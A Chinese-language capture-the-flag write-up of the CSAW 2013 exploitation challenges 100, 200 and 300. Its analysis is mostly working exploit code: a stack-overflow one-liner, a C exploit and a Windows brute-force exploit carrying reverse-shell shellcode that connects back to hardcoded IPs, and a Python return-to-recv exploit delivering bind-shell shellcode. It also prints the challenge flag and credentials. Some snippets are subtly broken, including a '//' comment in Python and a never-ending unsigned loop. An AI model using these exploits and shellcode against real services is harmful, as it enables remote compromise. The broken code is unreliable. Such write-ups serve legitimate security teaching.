CSAW 2013 Exploition Writeup

Exploition 100

第一個很簡單,給出了源碼,如下:

[snip]

void handle(int newsock) {
	int backdoor = 0;
	char buffer[1016];
	memset(buffer, 0, 1016);

	send(newsock, "Welcome to CSAW CTF.", 21, 0);
	recv(newsock, buffer, 1020, 0);
	buffer[1015] = 0;

	if ( backdoor ) {
		fd = fopen("./key", "r");
		fscanf(fd, "%s\n", buffer);
		send(newsock, buffer, 512, 0);
	}
	close(newsock);
}

[snip]
當backdoor不爲0時,服務器會將key中的值send回來。直接提交1020個'A',覆蓋backdoor,使其爲真,就能得到key了。

python -c "print 'A'*1020"|nc 128.238.66.212 31337


Exploition 200

給了一個exploit2的文件,拖到IDA裏看一下。

關鍵在handle()這個函數裏,如下

int __cdecl handle(int fd)
{
  int result; // eax@1
  unsigned int v2; // eax@1
  char buf[2048]; // [sp+1Ch] [bp-80Ch]@1
  char v4; // [sp+81Bh] [bp-Dh]@1
  int v5; // [sp+81Ch] [bp-Ch]@1

  v5 = 0;
  memset(buf, 0, sizeof(buf));
  v2 = time(0);
  srand(v2);
  secret = rand();
  v5 = secret;
  *(_DWORD *)buf = buf; // 將buf的地址賦給buf的前四個字節
  send(fd, buf, 4u, 0); // 發送buf地址
  send(fd, &v5, 4u, 0); // 發送v5內容
  send(
    fd,
    "Welcome to CSAW CTF.  Exploitation 2 will be a little harder this year.  Insert your exploit here:",
    0x63u,
    0);
  recv(fd, buf, 0x1000u, 0);
  v4 = 0;
  result = secret;
  if ( v5 != secret )
  {
    close(fd);
    exit(0);
  }
  return result;
}

函數返回之前,會檢查v5是否和secret相等,不相等就直接退出,不返回,類似於Windows防禦溢出中的GS技術。所以覆蓋返回地址時,要在指定的位置寫入secret的值。

這個值服務器已經發給了我們,而且連buf地址也發了過來,這樣就不用找jmp esp的跳板,直接將返回地址覆蓋爲buf地址。函數返回時,就會跳到buf處執行。我們的數據包佈局如下:

shellcode                 <-- buf起始地址

0x90填充

secret                        <-- v5的位置

0x90909090*3

RetAddr                    <-- 返回地址,覆蓋爲buf起始地址

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <arpa/inet.h>

// TESTIP = 192.168.28.1
#define TESTIP "\xc0\xa8\x1c\x01" 
// PORT = 31337
#define PORT "\x7a\x69"
#define TARGET "128.238.66.212"

unsigned char shellcode[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
TESTIP"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";

int main()
{
    struct sockaddr_in  addr;
    int fd;
    char welcome[99];
    unsigned char buf[2068];
    for (int i = 0; i < 92; ++i)
        buf[i] = shellcode[i];

    addr.sin_family = AF_INET;
    addr.sin_port = htons(31338);
    addr.sin_addr.s_addr = inet_addr("127.0.0.1");

    if ((fd = socket(AF_INET, SOCK_STREAM, 0)) == -1)
    {
        printf("[-] Create socket error.\n");
        exit(0);
    }
    printf("[+] Create socket success.\n");
    if (connect(fd, (struct sockaddr *)&addr, sizeof(addr)) == -1)
    {
        printf("[-] Connect error.\n");
        exit(0);
    }
    printf("[+] Connect success.\n");

    recv(fd, buf+2064, 4, 0);
    recv(fd, buf+2048, 4, 0);
    recv(fd, welcome, 99, 0);
    printf("%s\n", welcome);
    send(fd, buf, 2068, 0);
    close(fd);
    return(0);
}

執行之後就會彈回一個shell。

nc -l -vv -p 31337

whoami
csaw
ls
exploit2
exploit2.c
key
cat key
flag{53666e040caa855a9b27194c82a26366}

Exploition 300

題目給了一個fil_chal,下載下來在本機執行,nc 127.0.0.1 34266,回顯

     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
		Dairy

UserName: 

拖到IDA裏,在sub_8049156裏,可以看到

然後就可以找到正確的username和password

.rodata:08049A4F aCsaw2013        db 'csaw2013',0          
.rodata:08049A58 aS1mplepwd      db 'S1mplePWD',0     

校檢賬號密碼後,會調用sub_8048E52,在這裏,程序會讀取用戶輸入的一個數字。

然後到sub_8048EFE,會進行一個比較

  n = a2;  // 這個就是我們輸入的數字
  if ( (unsigned int)(a2 + 1) <= 0x400 )
  {
    v7 = recv(fd, &buf, n, 0);     // 讀取我們發送的數據
    ...
   }
   else
  {
    fprintf(stderr, "%s\n", "Invalid Length");
  }

由於buf申請了0x400的空間,所以我們需要利用整數溢出繞過
(unsigned int)(a2 + 1) <= 0x400
這個限制。

0xffff = 65535; 0xffff+1 = 0 <= 0x400

在前面輸入長度的時候,輸入65535就可以繞過這個限制。

但是這題沒有給出buf的起始地址,如何跳轉到shellcode成爲問題的關鍵。

嘗試尋找jmp esp等跳板無果後,我們決定開大招了!

將shellcode佈置在buf的尾部,然後從後往前遍歷棧地址,每次遞減1024個字節。類似於Heap Spray,每次循環時的返回地址有可能剛好落在shellcode前面的0x90中。

#include <Winsock2.h>
#include <stdio.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")


#define IPADDR "\x77\x76\xe7\xb4"
#define PORT "\x82\x35"

unsigned char username[]="csaw2013";
unsigned char password[]="S1mplePWD";
unsigned char enterinfo[]="65535";
unsigned int tryshellcode;

unsigned char code[] =
"\x31\xc0\x31\xdb\x31\xc9\x31\xd2"
"\xb0\x66\xb3\x01\x51\x6a\x06\x6a"
"\x01\x6a\x02\x89\xe1\xcd\x80\x89"
"\xc6\xb0\x66\x31\xdb\xb3\x02\x68"
IPADDR"\x66\x68"PORT"\x66\x53\xfe"
"\xc3\x89\xe1\x6a\x10\x51\x56\x89"
"\xe1\xcd\x80\x31\xc9\xb1\x03\xfe"
"\xc9\xb0\x3f\xcd\x80\x75\xf8\x31"
"\xc0\x52\x68\x6e\x2f\x73\x68\x68"
"\x2f\x2f\x62\x69\x89\xe3\x52\x53"
"\x89\xe1\x52\x89\xe2\xb0\x0b\xcd"
"\x80";



//初始化Socket
int InitSocket()
{
    WORD wVersionRequested;
    WSADATA wsaData;
    int err;

    wVersionRequested = MAKEWORD(2, 2);

    err = WSAStartup(wVersionRequested, &wsaData);
    if (err != 0) {
        printf("WSAStartup failed with error: %d\n", err);
        return 1;
    }
    if (LOBYTE(wsaData.wVersion) != 2 || HIBYTE(wsaData.wVersion) != 2) {
        printf("Could not find a usable version of Winsock.dll\n");
        WSACleanup();
        return 1;
    }
	return 0;
}

void main()
{
	int *se;
	unsigned int iii;
	SOCKADDR_IN addr;
	SOCKET s;
	unsigned int secret;
	unsigned int stack;
	char buf[0x3000];


	InitSocket();
	for(iii=0xffffff;iii>=0;iii-=908)
	{

		memset(buf,0,0x3000);

		s=socket(AF_INET,SOCK_STREAM,0);
		if(s==INVALID_SOCKET)
		{
			printf("socket INVALID_SOCKET!\n");
			getchar();
			getchar();
			return;
		}

		addr.sin_addr.S_un.S_addr=inet_addr("128.238.66.217");//128.238.66.212
		addr.sin_family=AF_INET;
		addr.sin_port=htons(34266);

		if(SOCKET_ERROR==connect(s,(SOCKADDR*)&addr,sizeof(SOCKADDR)))
		{
			printf("connect Error!\n");
			getchar();
			getchar();
			return;
		}
		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);


		memset(buf,0,0x3000);
		strcpy(buf,username);
		send(s,buf,strlen(buf)+1,0);


		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//show password

		memset(buf,0,0x3000);
		strcpy(buf,password);
		send(s,buf,strlen(buf)+1,0);

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//Login?

		memset(buf,0,0x3000);
		recv(s,buf,0x3000,0);
//		printf("->: %s\n",buf);//enter info

		memset(buf,0,0x3000);
		strcpy(buf,enterinfo);
		send(s,buf,strlen(buf)+1,0);

///		Sleep(100);

		memset(buf,0x90,0x3000);
		strcpy(buf+0x3e8-92,code);
	
		tryshellcode=(unsigned int)0xbf000000+iii;
		*((unsigned int*)(buf+0x420))=tryshellcode;		
		printf("tryshellcode=%x\n",tryshellcode);

//		getchar();

		send(s,buf,0x424,0);
		
//		Sleep(100);
		closesocket(s);

	}
	WSACleanup();
}

等待彈回shell後,中止程序。

然後成功了!得到flag,300分~


但是,這個解決方式不太優雅,下面介紹來自國外隊伍Stratum 0的解決方法。

查看fil_chal的內存空間可以看到,0804b000-0804c000這一段地址空間是可讀可寫可執行的。

將返回地址覆蓋爲recv()函數的地址,然後佈置棧,接收數據並存儲在0804b000。從recv返回後,跳到0804b000處執行即可。

recv的地址爲0x08048890,它需要4個參數,fd,buf,len,flag。其中buf設置爲0x0804b000,len設置爲shellcode的長度,flag設置爲0。

關鍵就在於fd。之前我們也曾考慮過這種方式,但是當時認爲fd不可預測,所以就沒有嘗試。

然而,在linux系統中,fd是可以預測的。

在linux系統中,socket也被認爲是一種特殊的文件,也是用文件描述符(file descriptor)表示。

linux進程初始化時,就會有3個fd被佔用,分別是

0,標準輸入stdin

1,標準輸出stdout

2,標準錯誤流stderr

在此之後打開的文件描述符會遞增。因此,當fil_chal進程執行是,打開第一個fd用於建立服務器,bind端口後監聽。當有客戶端連接時,會再打開一個fd,然後fork一個子進程去處理這個連接。這個過程大致如下

fd = socket();
bind(fd);
listen(fd);
newfd = accept(fd);
if ((pid = fork()) == 0)
{ // 子進程
    close(fd);
    handle(newfd);
    close(newfd);
    exit(0);
}
else if (pid > 0)
{ // 父進程
    close(newfd);
}

由於子進程是父進程的副本,它會繼承父進程的進程環境,newfd的值就應該是4,這個fd也就是和客戶端通信的fd。

於是recv()函數的fd設置爲4。最後的內存佈局爲

buf

junk

RetAddr  <-- 0x08048890 recv()

0x0804b000  <-- recv執行完畢,ret時esp會指向這裏

0x00000004  fd

0x0804b000  buf

len(shellcode)  len

0x00000000   flags

最終的利用代碼如下

#!/usr/bin/env python
#coding=utf-8

import socket
import struct

local = True

// shellcode功能:開啓4444端口,等待連接
SHELLCODE = \
"\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89\xe1\xb0\x66\xcd\x80" +\
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a" +\
"\x66\x58\xcd\x80\x89\x41\x04\xb3\x04\xb0\x66\xcd\x80\x43\xb0" +\
"\x66\xcd\x80\x93\x59\x6a\x3f\x58\xcd\x80\x49\x79\xf8\x68\x2f" +\
"\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0" +\
"\x0b\xcd\x80"

def pack(addr):
    return struct.pack("<I", addr)
def unpack(s):
    return struct.pack("<I",s)[0]

if local:
    host = "localhost"
else:
    host = "128.238.66.217"

port = 34266

recv_plt = 0x8048890

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
s.connect((host, port))

s.recv(1024)
s.recv(1024)

s.send("csaw2013\n")
s.recv(1024)
s.send("S1mplePWD\n")
s.recv(1024)
s.recv(1024)
s.send("-1\n")
raw_input("--")

writable_addr = 0x804b800
ebp = pack(writable_addr)
eip = pack(recv_plt)
next_eip = pack(0x804b000)
params = pack(4)
params += pack(0x804b000)
params += pack(len(SHELLCODE))
params += pack(0)

s.send("A"*0x41c+ebp+eip+next_eip+params)

raw_input("--")
s.send(SHELLCODE)


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章